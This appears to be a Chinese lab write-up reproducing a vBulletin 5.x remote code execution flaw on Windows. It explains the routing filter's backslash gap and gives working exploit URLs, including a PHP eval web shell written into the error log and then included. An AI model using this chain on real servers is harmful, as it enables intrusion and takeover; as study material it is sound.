vBulletin 5.x 版本通杀远程代码执行漏洞复现

漏洞介绍

vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码。未经验证的恶意访问者可通过向index.php发出包含 routestring=参数的GET 请求,从而触发文件包含漏洞,最终导致远程代码执行漏洞,影响版本:vBulletin v5.x

漏洞原理

index.php页面发送GET请求去使用routestring参数包含本地文件时,层层调用功能函数对routestring的值进行过滤,主要的处理代码位于/includes/vb5/frontend/routing.php文件

if  (strlen($path)  >  2  )        
    {        
        $ext = strtolower(substr($path,  -4))  ;      
        if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg')  OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))  
        {      
          header("HTTP/1.0 404 Not Found");  
          die('');  
        }
    }

这段代码判断routestring获取的值是否以.gif, .png, .jpg, .css or .js结尾,如果是则头部信息返回404

if  (strpos($path,  '/')  ===  false)        
     {        
        $this->controller  =  'relay';      
        $this->action  =  'legacy';      
        $this->template  =  '';      
        $this->arguments  =  array($path);      
        $this->queryParameters  =  array();      
        return;      
    }

这段代码中strpos()函数返回/字符在$path中第一次出现的位置,若返回信息为false才会继续处理,也就是说路径中不能出现"/"

对于Linux服务器,处理URL时,/表示目录层的分隔、表示符,所以此处无法以多个../的方式包含网站中的其他文件。但是对于Windows服务器,/和\在表达路径时,是等价的,而程序并没有对\进行处理,所以导致本次针对Windows服务器的文件包含漏洞

实验链接:https://www.ichunqiu.com/vm/60507/1

访问链接:http://172.16.12.2/vb5/index.php?routestring=..\\

爆出了网站的绝对路径

访问网站的写有phpinfo函数的非php文件,验证包含漏洞

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\phpstudy\\www\phpinfo.txt

成功地执行了根目录下的phpinfo.txt文件

构造链接:http://172.16.12.2/vb5/index.php<?php @eval($_POST['x']);?>

用burp抓包

这个地方被url编码了,需要改一下

发包

返回了403错误,该地址被写到了错误日志里

访问错误日志:http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log

php一句话木马被写到里面,用菜刀连接

连接成功

 

转载于:https://www.cnblogs.com/sch01ar/p/8168996.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值